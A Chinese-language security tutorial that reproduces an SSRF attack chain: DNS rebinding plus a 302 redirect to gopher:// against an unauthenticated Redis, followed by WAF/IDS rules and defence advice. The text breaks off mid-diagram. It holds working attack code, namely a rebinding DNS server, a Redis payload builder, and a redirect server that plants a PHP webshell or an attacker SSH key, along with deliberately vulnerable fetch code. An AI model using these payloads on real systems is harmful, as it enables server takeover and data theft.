三层 SSRF 防护被 Gopher 和 DNS 重绑定干穿——完整攻击链复现与纵深防御方案
分类:安全 / Web 漏洞 / 攻防实战
难度:高级
前置知识:HTTP 协议、DNS 解析原理、Redis 协议、Python 网络编程
日期:2026-07-25
目录
- 一、SSRF 漏洞深度回顾
- 二、三层防护架构设计与实现
- 三、逐层绕过:攻击者的思维路径
- 四、DNS 重绑定:时间窗口攻击的核武器
- 五、Gopher 协议攻击 Redis:从命令到 Payload
- 六、完整攻击链复现
- 七、攻击时序图
- 八、WAF / IDS 检测规则
- 九、纵深防御方案
- 十、正确代码:安全的 SSRF 请求实现
- 总结与核心教训
一、SSRF 漏洞深度回顾
1.1 定义与本质
服务端请求伪造(Server-Side Request Forgery,SSRF)是一种安全漏洞,其本质是:服务端应用程序将用户可控的输入作为请求目标 URL,且在发起请求前未进行充分的安全校验。攻击者借此可以操纵服务端发起恶意请求,访问内部网络资源或执行非预期操作。
┌────────┐ 用户可控 URL ┌──────────────┐ 目标 URL ┌────────────┐
│ 攻击者 │ ──────────────────────> │ 目标服务端 │ ───────────────────> │ 内网服务 │
│ (Browser)│ http://victim.com/fetch│ (Server) │ http://127.0.0.1:6379│ (Redis) │
└────────┘ ?url=http://evil.com └──────────────┘ └────────────┘
↑ ↑ ↑
用户输入 未充分校验 非预期访问
1.2 经典攻击场景
| 攻击场景 | Payload 示例 | 危害等级 |
|---|---|---|
| 访问内网服务 | http://127.0.0.1:6379/ |
严重 |
| 读取本地文件 | file:///etc/passwd |
高 |
| 云元数据窃取 | http://169.254.169.254/latest/meta-data/ |
严重 |
| 端口扫描 | http://192.168.1.1:22/ |
中 |
| 攻击内网数据库 | gopher://10.0.0.5:3306/_... |
严重 |
1.3 SSRF 的根本问题:信任边界错误
SSRF 的根源在于信任边界错位——服务端信任了来自外部的 URL 输入,却将其当作"安全的外部请求"处理。任何基于黑名单的、先检查后请求的防御模型,都天然存在 TOCTOU(Time-of-Check to Time-of-Use)竞态窗口。本文将展示,即使部署了三层防护,攻击者仍然可以通过 DNS 重绑定和 Gopher 协议的组合拳将其全部穿透。
二、三层防护架构设计与实现
假设目标系统是一个 URL 代理/抓取服务,开发者出于安全考虑部署了三层纵深防御。下面是完整的三层防护代码:
2.1 第一层:URL 黑名单过滤
防护思路:通过协议黑名单、主机黑名单和 IP 段黑名单三重拦截。
# === 第一层防护:URL 黑名单 ===
import ipaddress
from urllib.parse import urlparse
BLACKLIST_PROTOCOLS = ['file', 'ftp', 'dict', 'gopher', 'ldap', 'sftp']
BLACKLIST_HOSTS = ['127.0.0.1', 'localhost', '0.0.0.0', '::1',
'[::1]', 'metadata.google.internal']
PRIVATE_PREFIXES = [
'10.', '172.16.', '172.17.', '172.18.', '172.19.',
'172.20.', '172.21.', '172.22.', '172.23.', '172.24.',
'172.25.', '172.26.', '172.27.', '172.28.', '172.29.',
'172.30.', '172.31.', '192.168.', '169.254.'
]
def first_layer_filter(url):
"""第一层:协议 + 主机 + IP 段黑名单"""
parsed = urlparse(url)
# 协议黑名单
if parsed.scheme.lower() in BLACKLIST_PROTOCOLS:
return False, f"[Layer1] Protocol '{parsed.scheme}' is blocked"
hostname = parsed.hostname
if not hostname:
return False, "[Layer1] No hostname in URL"
# 主机名精确匹配黑名单
if hostname.lower() in BLACKLIST_HOSTS:
return False, f"[Layer1] Host '{hostname}' is blocked"
# IP 段黑名单(字符串前缀匹配)
for prefix in PRIVATE_PREFIXES:
if hostname.startswith(prefix):
return False, f"[Layer1] Private IP prefix '{prefix}' is blocked"
# ipaddress 对象检查
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False, f"[Layer1] Private/reserved IP '{hostname}' is blocked"
except ValueError:
pass # 域名,非 IP 地址,放行
return True, "[Layer1] Passed"
2.2 第二层:DNS 解析后 IP 二次校验
防护思路:第一层只检查 URL 字符串本身,如果用户传入的是域名,黑名单无法覆盖。因此需要实际解析域名,检查解析后的 IP 地址。
# === 第二层防护:DNS 解析后 IP 校验 ===
import socket
def second_layer_filter(url):
"""第二层:解析域名的真实 IP,校验是否为内网地址"""
parsed = urlparse(url)
hostname = parsed.hostname
# 如果已经是 IP 地址,第一层已处理
try:
ipaddress.ip_address(hostname)
return True, "[Layer2] IP address, already checked by Layer1"
except ValueError:
pass # 是域名,需要解析
# DNS 解析
try:
resolved = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "[Layer2] DNS resolution failed"
# 遍历所有解析结果
for family, socktype, proto, canonname, sockaddr in resolved:
ip_str = sockaddr[0]
ip = ipaddress.ip_address(ip_str)
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False, f"[Layer2] Resolved IP '{ip_str}' is private/reserved"
return True, "[Layer2] Passed"
2.3 第三层:HTTP 协议限制 + 响应长度限制
防护思路:强制只允许 HTTP/HTTPS 协议发起实际请求,并限制响应长度以防止敏感信息泄露。
# === 第三层防护:协议白名单 + 响应限制 ===
import requests
def third_layer_filter(url):
"""第三层:强制 HTTP/HTTPS + 响应长度限制"""
parsed = urlparse(url)
# 协议白名单
if parsed.scheme.lower() not in ['http', 'https']:
return False, f"[Layer3] Only HTTP/HTTPS allowed, got '{parsed.scheme}'"
return True, "[Layer3] Passed"
def safe_request(url, max_length=1024):
"""经过三层校验后的安全请求"""
# L1: URL 黑名单
ok, msg = first_layer_filter(url)
if not ok:
return {"error": msg}, 403
# L2: DNS 解析后校验
ok, msg = second_layer_filter(url)
if not ok:
return {"error": msg}, 403
# L3: HTTP 协议 + 响应限制
ok, msg = third_layer_filter(url)
if not ok:
return {"error": msg}, 403
# 发起请求(注意:这里 allow_redirects=True 是关键漏洞点)
try:
resp = requests.get(url, timeout=5, allow_redirects=True)
content = resp.content[:max_length]
return {"status": resp.status_code, "content": content.decode('utf-8', errors='replace')}
except requests.RequestException as e:
return {"error": f"Request failed: {e}"}, 502
2.4 三层防护整体架构
用户请求 URL
│
▼
┌─────────────────────┐
│ 第一层:URL 黑名单 │ 协议/主机/IP段 字符串级拦截
│ (字符串匹配) │
└─────────┬───────────┘
│ 通过
▼
┌─────────────────────┐
│ 第二层:DNS 解析校验 │ socket.getaddrinfo() 解析域名
│ (网络级校验) │ 检查解析后 IP 是否内网
└─────────┬───────────┘
│ 通过
▼
┌─────────────────────┐
│ 第三层:协议白名单 │ 仅允许 http/https
│ + 响应长度限制 │ allow_redirects=True ← 漏洞!
└─────────┬───────────┘
│ 通过
▼
requests.get(url)
┌─────────┴───────────┐
│ 实际发起 HTTP 请求 │
│ 跟随 302 重定向 │ ← Gopher 协议绕过入口
└─────────────────────┘
看起来固若金汤?别急,攻击者有三个突破点。
三、逐层绕过:攻击者的思维路径
3.1 第一层绕过:公网域名替代 IP 地址
问题:第一层使用字符串匹配拦截 127.0.0.1、localhost 和内网 IP 段。但攻击者传入的是一个公网域名,比如 evil.rebind.attacker.com,这个域名的字符串本身不包含任何黑名单特征。
# 攻击者传入的 URL
http://evil.rebind.attacker.com/redirect
# 第一层检查流程
scheme = "http" → 不在黑名单 ✓
hostname = "evil.rebind.attacker.com" → 不在 BLACKLIST_HOSTS ✓
不是 IP 地址 → IP 段检查跳过 ✓
# 结果:通过第一层
绕过原理:黑名单是基于"已知危险"的静态匹配,而域名是动态的 DNS 记录。字符串级别的检查无法预知域名未来会解析到什么 IP。
3.2 第二层绕过:DNS 重绑定(DNS Rebinding)
问题:第二层调用 socket.getaddrinfo() 解析域名。在检查的瞬间,域名确实解析到合法公网 IP。但 DNS 是一个动态系统——攻击者控制了该域名的 DNS 服务器,可以在检查通过后立即修改解析结果。
时间轴
│
┌─────────────────┼──────────────────┐
│ │ │
▼ ▼ ▼
┌────────┐ ┌───────────┐ ┌──────────┐
│ DNS 查询 │ │ IP 校验 │ │ 实际请求 │
│ (T1) │ │ (T1+1ms) │ │ (T1+5ms) │
└───┬────┘ └─────┬─────┘ └────┬─────┘
│ │ │
│ 返回 1.2.3.4 │ 1.2.3.4 是公网 │ DNS 缓存已过期
│ (公网合法 IP) │ IP,校验通过! │ TTL=0 → 重新解析
│ │ │
└─────────────────┼─────────────────┘
│ │
│ 返回 127.0.0.1
│ (内网目标 IP)
│ │
▼ ▼
检查通过 请求发往 127.0.0.1:6379
SSRF 攻击成功!
核心机制:
| 属性 | 第一次查询(检查阶段) | 第二次查询(请求阶段) |
|---|---|---|
| 返回 IP | 1.2.3.4(公网) |
127.0.0.1(内网) |
| TTL | 0(立即过期) |
— |
| 时间间隔 | ~1ms | ~5ms |
| 校验结果 | 通过 | 未校验(已通过第二层) |
3.3 第三层绕过:302 跳转到 Gopher 协议
问题:第三层限制只能用 HTTP/HTTPS 协议。但代码中有一个致命漏洞——allow_redirects=True。当服务端请求 http://attacker.com/redirect 时,该服务返回 302 Found,Location 头指向 gopher://127.0.0.1:6379/_...。requests.get() 默认会跟随重定向,且重定向的目标 URL 不再经过三层校验。
# 第三层检查
scheme = "http" → 在白名单中 ✓
→ 发起 HTTP 请求到 attacker.com/redirect
→ 收到 302 响应
→ Location: gopher://127.0.0.1:6379/_*3%0d%0a...
→ requests 库自动跟随重定向 ← 未经过校验!
→ 发起 Gopher 请求到 127.0.0.1:6379
→ Redis 被攻击!
三层全部穿透。下面进入实战复现。
四、DNS 重绑定:时间窗口攻击的核武器
4.1 原理详解
DNS 重绑定(DNS Rebinding)是一种利用 DNS 解析时间差来绕过同源策略或服务端校验的攻击技术。攻击者自建一个恶意的 DNS 服务器,对同一个域名交替返回不同的 IP 地址,并设置极短的 TTL(Time To Live)。
# === 攻击者的恶意 DNS 服务器 ===
# 使用 dnspython 实现一个简单的 DNS 重绑定服务
from dnslib.server import DNSServer, DNSHandler, BaseResolver
from dnslib import DNSRecord, RR, A
import time
class RebindResolver(BaseResolver):
"""DNS 重绑定解析器"""
def __init__(self):
self.safe_ip = "93.184.216.34" # 公网合法 IP(example.com 的 IP)
self.target_ip = "127.0.0.1" # 内网目标 IP
self.query_log = {} # 记录每个客户端的查询次数
def resolve(self, request, handler):
reply = request.reply()
qname = str(request.q.qname).rstrip('.')
# 基于客户端 IP 追踪查询次数
client_key = handler.client_address[0]
count = self.query_log.get(client_key, 0)
self.query_log[client_key] = count + 1
# 奇数次返回公网 IP(通过校验),偶数次返回内网 IP(攻击)
ip = self.safe_ip if count % 2 == 1 else self.target_ip
reply.add_answer(RR(qname, QTYPE=A, rdata=A(ip), ttl=0))
print(f"[DNS] Client={client_key}, Query#{count}, "
f"Return={ip}, TTL=0")
return reply
# 启动 DNS 服务器
if __name__ == "__main__":
resolver = RebindResolver()
server = DNSServer(resolver, port=5353, address="0.0.0.0")
server.start_thread()
print("[*] Malicious DNS server running on port 5353")
print("[*] evil.rebind.attacker.com → alternating IPs")
4.2 DNS 重绑定与 TOCTOU 的关系
DNS 重绑定本质上是网络层面的 TOCTOU(Time-of-Check to Time-of-Use)攻击。关键在于"检查"和"使用"之间存在一个时间差,而 DNS 缓存的 TTL 控制了这个时间差的最小值。
TOCTOU 模型:
┌──────────────┐ ┌──────────────┐
│ Check 阶段 │ Δt │ Use 阶段 │
│ DNS查询→校验 │ ──────> │ DNS查询→请求 │
│ 返回 A 记录 │ │ 返回 B 记录 │
└──────────────┘ └──────────────┘
^
│
TTL=0 使 Δt 的下界趋近于 0
任何非零 Δt 都可被利用
4.3 两种实现方式对比
| 实现方式 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| TTL=0 交替返回 | 每次查询返回不同 IP,TTL=0 强制不缓存 | 可靠,不依赖时间控制 | 需要自建 DNS 服务器 |
| 短 TTL 定时切换 | TTL 设为极短值(如 1 秒),N 秒后切换记录 | 配置简单 | 精度低,可能失败 |
五、Gopher 协议攻击 Redis:从命令到 Payload
5.1 Gopher 协议简介
Gopher 是一个早期的互联网协议(RFC 1436),其 URL 格式为:
gopher://<host>:<port>/<type><selector>
其中 <type> 通常为 _(表示原始数据),<selector> 则是要发送的原始 TCP 数据。这意味着 Gopher 协议可以构造任意 TCP 数据流,使其成为 SSRF 攻击中最强大的协议工具。
5.2 Redis 协议格式
Redis 使用自定义的文本协议(RESP,REdis Serialization Protocol)。每条命令遵循以下格式:
*<参数个数>\r\n
$<参数1长度>\r\n
<参数1>\r\n
$<参数2长度>\r\n
<参数2>\r\n
...
例如 SET hello world 命令:
*3\r\n
$3\r\n
SET\r\n
$5\r\n
hello\r\n
$5\r\n
world\r\n
5.3 完整 Payload 构造代码
# === Gopher 协议攻击 Redis 的完整 Payload 构造器 ===
import urllib.parse
import struct
class RedisGopherPayload:
"""构造通过 Gopher 协议发送的 Redis 命令 Payload"""
@staticmethod
def redis_command(*args):
"""将 Redis 命令参数转换为 RESP 协议格式"""
cmd = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
cmd += f"${len(arg_str)}\r\n{arg_str}\r\n"
return cmd
@staticmethod
def build_payload(commands):
"""
构造完整的 Gopher Payload
commands: 命令列表,每条命令是一个参数元组
返回: 完整的 gopher:// URL
"""
payload = ""
for cmd in commands:
payload += RedisGopherPayload.redis_command(*cmd)
# URL 编码(注意:必须正确编码特殊字符)
encoded = urllib.parse.quote(payload, safe='')
# Gopher 协议 URL 格式:gopher://host:port/_<data>
return f"gopher://127.0.0.1:6379/_{encoded}"
@staticmethod
def crlf_injection_payload(target_ip, target_port, data):
"""
CRLF 注入方式:通过 HTTP 请求注入 Gopher Payload
某些场景下需要将 payload 嵌入 HTTP 头部
"""
return data.replace('\r\n', '%0d%0a')
# === 构造攻击 Payload ===
# 攻击场景 1:写入 Webshell 到 Web 目录
commands_webshell = [
("CONFIG", "SET", "dir", "/var/www/html"),
("CONFIG", "SET", "dbfilename", "shell.php"),
("SET", "shell", "<?php system($_GET['cmd']); ?>"),
("SAVE"),
]
# 攻击场景 2:写入 SSH 公钥实现免密登录
commands_ssh = [
("CONFIG", "SET", "dir", "/root/.ssh"),
("CONFIG", "SET", "dbfilename", "authorized_keys"),
("SET", "key", "ssh-rsa AAAAB3NzaC1yc2EAAAA... attacker@evil.com\n"),
("SAVE"),
]
# 攻击场景 3:Redis 主从复制 RCE(利用未授权 Redis 4.x/5.x)
commands_masterslave = [
("SLAVEOF", "10.0.0.1", "8888"), # 连接到攻击者的 Rogue Redis Server
("CONFIG", "SET", "dir", "/var/spool/cron"),
("CONFIG", "SET", "dbfilename", "root"),
("SLAVEOF", "NO", "ONE"), # 断开主从复制,触发文件落地
]
# 生成最终 Payload
builder = RedisGopherPayload()
gopher_url = builder.build_payload(commands_webshell)
print(f"[+] Gopher Payload URL (truncated):")
print(f" {gopher_url[:200]}...")
print(f"[+] Total URL length: {len(gopher_url)} bytes")
5.4 Payload 结构分析
完整的攻击 URL 结构:
gopher://127.0.0.1:6379/_
│ │ │ │
│ │ │ └── 下划线标记:原始数据(非 Gopher 菜单)
│ │ └────── 端口 6379(Redis 默认端口)
│ └──────────── 主机 127.0.0.1(内网目标)
└────────────────────── Gopher 协议标识
Payload 内容 (URL 编码前):
*4\r\n ← CONFIG SET dir 命令
$6\r\n
CONFIG\r\n
$3\r\n
SET\r\n
$3\r\n
dir\r\n
$14\r\n
/var/www/html\r\n
*4\r\n ← CONFIG SET dbfilename 命令
...
六、完整攻击链复现
6.1 攻击环境
┌─────────────────────────────────────────────────────────────────┐
│ 攻击拓扑 │
│ │
│ ┌──────────┐ ┌───────────────┐ ┌──────────────┐ │
│ │ 攻击者 │ │ 目标服务端 │ │ 内网 Redis │ │
│ │ (Attacker)│ │ (Victim) │ │ 127.0.0.1 │ │
│ │ │ │ │ │ :6379 │ │
│ │ ·DNS 服务 │ │ ·SSRF 接口 │ │ (无认证) │ │
│ │ ·HTTP服务 │ │ ·三层防护 │ │ │ │
│ │ :80 │ │ │ │ │ │
│ └────┬─────┘ └──────┬────────┘ └──────┬───────┘ │
│ │ │ │ │
│ │ evil.rebind. │ /fetch?url=... │ │
│ │ attacker.com │ 三层防护 │ │
│ │ DNS 重绑定 │ │ │
│ │ │ │ │
│ └────────────────────┘ │ │
│ │ │
│ http://attacker.com/ │ │
│ redirect → 302 → │ │
│ gopher://127.0.0.1:6379 │ │
│ │ │
└─────────────────────────────────────────────────────────────────┘
6.2 完整攻击步骤
Step 1:搭建恶意 DNS 服务器
# 在攻击者服务器上部署 DNS 重绑定服务
# 域名: evil.rebind.attacker.com(指向攻击者 DNS: ns.attacker.com)
# ns.attacker.com 运行上面的 RebindResolver
# 配置如下:
# 奇数次查询 → 返回 93.184.216.34(公网 IP)
# 偶数次查询 → 返回 127.0.0.1(内网 IP)
# TTL = 0(强制每次重新查询)
Step 2:构造 Gopher Payload 并部署 302 跳转服务
# === 攻击者的 302 跳转服务 ===
from flask import Flask, redirect, request, make_response
import urllib.parse
app = Flask(__name__)
@app.route('/redirect')
def redirect_to_gopher():
"""
返回 302 跳转到 gopher://127.0.0.1:6379/
目标服务端如果 allow_redirects=True,会跟随这个跳转
"""
# Redis 命令: 写入 Webshell
commands = [
("CONFIG", "SET", "dir", "/var/www/html"),
("CONFIG", "SET", "dbfilename", "shell.php"),
("SET", "shell", "<?php system($_GET['cmd']); ?>"),
("SAVE"),
]
# 构建 RESP 协议 payload
payload = ""
for cmd in commands:
payload += f"*{len(cmd)}\r\n"
for arg in cmd:
payload += f"${len(arg)}\r\n{arg}\r\n"
# URL 编码
encoded = urllib.parse.quote(payload, safe='')
# 构建 Gopher URL(目标是 127.0.0.1:6379)
gopher_url = f"gopher://127.0.0.1:6379/_{encoded}"
# 返回 302 跳转
resp = make_response('', 302)
resp.headers['Location'] = gopher_url
print(f"[302] Redirecting to: {gopher_url[:100]}...")
return resp
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
Step 3:组装并提交攻击 URL
# === 攻击者最终提交的 URL ===
attack_url = "http://evil.rebind.attacker.com/redirect"
# 这个 URL 看起来完全合法:
# - 协议是 http ✓
# - 域名是公网域名 ✓
# - 没有任何黑名单特征 ✓
# 提交到目标服务端
target_api = "http://victim.com/fetch"
import requests
response = requests.get(f"{target_api}?url={attack_url}")
print(f"[+] Attack response: {response.text}")
Step 4:完整攻击流程详解
Step 1: 攻击者提交 URL
┌───────────────────────────────────────────────────────────────┐
│ POST http://victim.com/fetch │
│ ?url=http://evil.rebind.attacker.com/redirect │
└───────────────────────────────────────────────────────────────┘
Step 2: 第一层检查(URL 黑名单)
┌───────────────────────────────────────────────────────────────┐
│ scheme = "http" → 不在黑名单 [gopher/file/...] │
│ hostname = "evil.rebind..." → 不在 [localhost/127.0.0.1] │
│ 不是 IP 地址 → IP 段检查跳过 │
│ 结果: PASS ✓ │
└───────────────────────────────────────────────────────────────┘
Step 3: 第二层检查(DNS 解析)
┌───────────────────────────────────────────────────────────────┐
│ socket.getaddrinfo("evil.rebind.attacker.com") │
│ → 第 1 次查询(奇数次) │
│ → DNS 返回 93.184.216.34(公网 IP) │
│ → IP 校验: 不是内网 IP → PASS ✓ │
└───────────────────────────────────────────────────────────────┘
Step 4: 第三层检查(协议白名单)
┌───────────────────────────────────────────────────────────────┐
│ scheme = "http" → 在白名单 [http/https] ✓ │
│ 结果: PASS ✓ │
└───────────────────────────────────────────────────────────────┘
Step 5: 发起 HTTP 请求
┌───────────────────────────────────────────────────────────────┐
│ requests.get("http://evil.rebind.attacker.com/redirect") │
│ → 连接到 evil.rebind.attacker.com │
│ → 第 2 次查询(偶数次) │
│ → DNS 返回 127.0.0.1(TTL=0,缓存已过期) │
│ → 请求到达 127.0.0.1:80(跳转服务监听在 0.0.0.0:80) │
│ → 收到 302 Redirect │
│ → Location: gopher://127.0.0.1:6379/_%2A4%0D%0A... │
└───────────────────────────────────────────────────────────────┘
Step 6: 跟随重定向(漏洞触发点)
┌───────────────────────────────────────────────────────────────┐
│ requests 库自动跟随 302 → 发起 Gopher 请求 │
│ → gopher://127.0.0.1:6379/_*4\r\n$6\r\nCONFIG\r\n... │
│ → Redis 收到命令并执行 │
│ → CONFIG SET dir /var/www/html │
│ → CONFIG SET dbfilename shell.php │
│ → SET shell "<?php system($_GET['cmd']); ?>" │
│ → SAVE │
│ → Webshell 写入 /var/www/html/shell.php │
└───────────────────────────────────────────────────────────────┘
Step 7: 利用 Webshell
┌───────────────────────────────────────────────────────────────┐
│ GET http://victim.com/shell.php?cmd=cat+/etc/passwd │
│ → 目标服务器已被完全控制 │
└───────────────────────────────────────────────────────────────┘
七、攻击时序图
时间 │ 攻击者 │ 目标服务端 (victim.com) │ DNS 服务器 │ 302 服务 (attacker.com) │ 内网 Redis
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T0 │ 提交恶意 URL │ │ │ │
│ http://evil.rebind. │ │ │ │
│ attacker.com/redir │ │ │ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T1 │ │ [L1] URL 黑名单检查 │ │ │
│ │ scheme="http" → PASS │ │ │
│ │ hostname 不在黑名单 → PASS │ │ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T2 │ │ [L2] DNS 解析校验 │ │ │
│ │ ── getaddrinfo(evil.rebind) ─>│ │ │
│ │ <── 93.184.216.34 (公网) ─────│ │ │
│ │ IP 不是内网 → PASS │ │ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T3 │ │ [L3] 协议白名单 │ │ │
│ │ scheme="http" → PASS │ │ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T4 │ │ requests.get(url) │ │ │
│ │ DNS 缓存 TTL=0 → 重新查询 │ │ │
│ │ ── getaddrinfo(evil.rebind) ─>│ │ │
│ │ <── 127.0.0.1 (内网!) ─────────│ │ │
│ │ │ │ │
│ │ ── HTTP GET /redirect ──────────────────────────────>│ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T5 │ │ │ │ 返回 302 │
│ │ <── 302 Location: gopher:// ───────────────────────│ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T6 │ │ 跟随重定向 │ │ │
│ │ (不经过三层校验!) │ │ │
│ │ ── Gopher 请求 ─────────────────────────────────────────────────────────────> │
│ │ *4\r\n$6\r\nCONFIG\r\n... │ │ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T7 │ │ │ │ │ Redis 执行
│ │ │ │ │ CONFIG SET
│ │ │ │ │ SET shell
│ │ │ │ │ SAVE
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T8 │ 访问 Webshell │ │ │ │
│ victim.com/shell.php │ │ │ │
│ ?cmd=id │ │ │ │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
T9 │ 获得 Shell │ │ │ │
│ uid=33(www-data)... │ │ │ │
八、WAF / IDS 检测规则
8.1 ModSecurity WAF 规则
# ===================================================
# SSRF 防护规则集 - ModSecurity CRS 扩展
# ===================================================
# 规则 1:检测 Gopher/Dict/File 等危险协议
SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (?i)(gopher|dict|file|ftp|ldap|sftp|tftp)://" \
"id:900100,\
phase:2,\
block,\
t:none,\
msg:'SSRF Attack: Dangerous protocol detected in URL parameter',\
severity:CRITICAL,\
logdata:'Matched Data: %{MATCHED_VAR}',\
tag:'attack-ssrf',\
tag:'OWASP-CRS'"
# 规则 2:检测内网 IP 地址特征(多种表示法)
SecRule REQUEST_URI|ARGS "@rx (?:127\.0\.0\.1|0x7f\.0\.0\.1|0177\.0\.0\.1|0\.0\.0\.0|169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})" \
"id:900101,\
phase:2,\
block,\
t:none,\
msg:'SSRF Attack: Private/internal IP address detected',\
severity:CRITICAL,\
tag:'attack-ssrf'"
# 规则 3:检测 URL 编码混淆的内网 IP
SecRule ARGS "@rx (?:%31%32%37|%30%78%37%66|%5b%3a%3a%31%5d)" \
"id:900102,\
phase:2,\
block,\
t:urlDecodeUni,\
msg:'SSRF Attack: URL-encoded internal IP detected',\
severity:HIGH,\
tag:'attack-ssrf',\
tag:'evasion'"
# 规则 4:检测短 TTL 域名的异常行为(配合 DNS 日志分析)
SecRule &DNS_TTL "@lt 5" \
"id:900103,\
phase:2,\
pass,\
msg:'SSRF Warning: DNS TTL suspiciously low, potential rebinding',\
severity:HIGH,\
tag:'attack-ssrf',\
tag:'dns-rebinding',\
setvar:'tx.suspicious_dns_ttl=1'"
# 规则 5:检测 HTTP 响应中 302 跳转到非 HTTP 协议
SecRule RESPONSE_STATUS "@streq 302" \
"chain,id:900104,phase:3,pass,msg:'SSRF: Redirect to non-HTTP protocol detected'"
SecRule RESPONSE_HEADERS:Location "@rx ^(?i)(gopher|file|dict|ftp)://"
# 规则 6:检测 Redis RESP 协议特征(在 URL 参数中)
SecRule ARGS "@rx \*[0-9]+\x0d\x0a\$[0-9]+\x0d\x0a(CONFIG|SET|GET|SLAVEOF|SAVE|FLUSHALL)" \
"id:900105,\
phase:2,\
block,\
t:urlDecode,\
msg:'SSRF Attack: Redis RESP protocol payload detected',\
severity:CRITICAL,\
tag:'attack-ssrf',\
tag:'attack-redis'"
8.2 网络层 IDS 规则(Snort/Suricata)
# Snort 规则: 检测出站到 Redis 的 Gopher 请求
alert tcp $HOME_NET any -> $INTERNAL_NET 6379 (msg:"SSRF - Gopher protocol to Redis"; flow:to_server; content:"*"; depth:1; pcre:"/^\*[0-9]+\r\n/"; content:"CONFIG"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)
# Snort 规则: 检测 DNS 重绑定特征(同一域名短时间内解析到不同 IP 段)
alert udp any 53 -> any any (msg:"DNS Rebinding - TTL=0 with A record"; content:"|00 00 00 00|"; offset:8; depth:4; content:"|00 01 00 01|"; within:20; classtype:attempted-dos; sid:1000002; rev:1;)
8.3 应用层异常检测
# === SSRF 异常检测器 ===
import socket
import ipaddress
import time
from collections import defaultdict
class SSRFAnomalyDetector:
"""基于行为特征的 SSRF 攻击检测"""
def __init__(self, ip_change_threshold=2, time_window=30):
self.dns_history = defaultdict(list) # {hostname: [(timestamp, ip_set)]}
self.ip_change_threshold = ip_change_threshold
self.time_window = time_window # 秒
def check_dns_rebinding(self, hostname):
"""检测 DNS 重绑定行为"""
now = time.time()
# 解析当前 IP
try:
resolved = socket.getaddrinfo(hostname, None)
current_ips = {sockaddr[0] for _, _, _, _, sockaddr in resolved}
except socket.gaierror:
return False, "DNS resolution failed"
# 记录历史
self.dns_history[hostname].append((now, current_ips))
# 清理过期记录
self.dns_history[hostname] = [
(ts, ips) for ts, ips in self.dns_history[hostname]
if now - ts < self.time_window
]
# 检查是否有频繁的 IP 变化
history = self.dns_history[hostname]
if len(history) < 2:
return False, "Insufficient data"
# 统计时间窗口内的 IP 变化次数
ip_changes = 0
for i in range(1, len(history)):
if history[i][1] != history[i-1][1]:
ip_changes += 1
if ip_changes >= self.ip_change_threshold:
# 检查是否涉及内网 IP
for _, ips in history:
for ip_str in ips:
ip = ipaddress.ip_address(ip_str)
if ip.is_private or ip.is_loopback:
return True, f"DNS Rebinding: {ip_changes} IP changes in {self.time_window}s, private IP detected"
return False, "Normal"
def check_redirect_chain(self, url, response):
"""检测重定向链中的协议降级"""
if response.status_code in (301, 302, 303, 307, 308):
location = response.headers.get('Location', '')
parsed_location = urlparse(location)
if parsed_location.scheme not in ['http', 'https']:
return True, f"Protocol downgrade via redirect: {parsed_location.scheme}"
return False, "Normal"
# 使用示例
detector = SSRFAnomalyDetector()
# 在 SSRF 接口中集成检测
def ssrf_endpoint(url):
parsed = urlparse(url)
hostname = parsed.hostname
# 检测 DNS 重绑定
is_rebinding, detail = detector.check_dns_rebinding(hostname)
if is_rebinding:
return {"error": f"Potential DNS rebinding: {detail}"}, 403
# ... 正常的请求逻辑 ...
九、纵深防御方案
单一的防护手段永远不够。下面给出一个覆盖架构、网络、应用、DNS、服务各层的纵深防御方案。
9.1 纵深防御架构总览
┌─────────────────────────────────────────────────────────────────────┐
│ 纵深防御架构 │
│ │
│ ┌───────────────────────────────────────────────────────────────┐ │
│ │ Layer 5: 服务层 │ │
│ │ · Redis 强制认证 (requirepass) │ │
│ │ · K8s API 启用 RBAC + mTLS │ │
│ │ · ElasticSearch 启用 X-Pack Security │ │
│ │ · 内网服务监听 127.0.0.1 而非 0.0.0.0 │ │
│ └───────────────────────────────┬───────────────────────────────┘ │
│ │ │
│ ┌───────────────────────────────┴───────────────────────────────┐ │
│ │ Layer 4: 网络层 │ │
│ │ · 出站防火墙白名单(只允许业务所需域名/IP) │ │
│ │ · VPC 内网隔离(不同服务位于不同子网) │ │
│ │ · 安全组规则(禁止从应用服务器访问内网管理端口) │ │
│ └───────────────────────────────┬───────────────────────────────┘ │
│ │ │
│ ┌───────────────────────────────┴───────────────────────────────┐ │
│ │ Layer 3: 应用层 │ │
│ │ · DNS 解析后锁定 IP,直接使用 IP 连接 │ │
│ │ · 禁止跟随重定向 (allow_redirects=False) │ │
│ │ · URL 白名单(优于黑名单) │ │
│ │ · 请求超时 + 响应长度限制 │ │
│ └───────────────────────────────┬───────────────────────────────┘ │
│ │ │
│ ┌───────────────────────────────┴───────────────────────────────┐ │
│ │ Layer 2: DNS 层 │ │
│ │ · 企业内部 DNS 对 TTL < 5s 的记录强制缓存 │ │
│ │ · DNS 查询日志 + 异常告警(同一域名 IP 频繁切换) │ │
│ │ · 使用可信 DNS 递归服务器 │ │
│ └───────────────────────────────┬───────────────────────────────┘ │
│ │ │
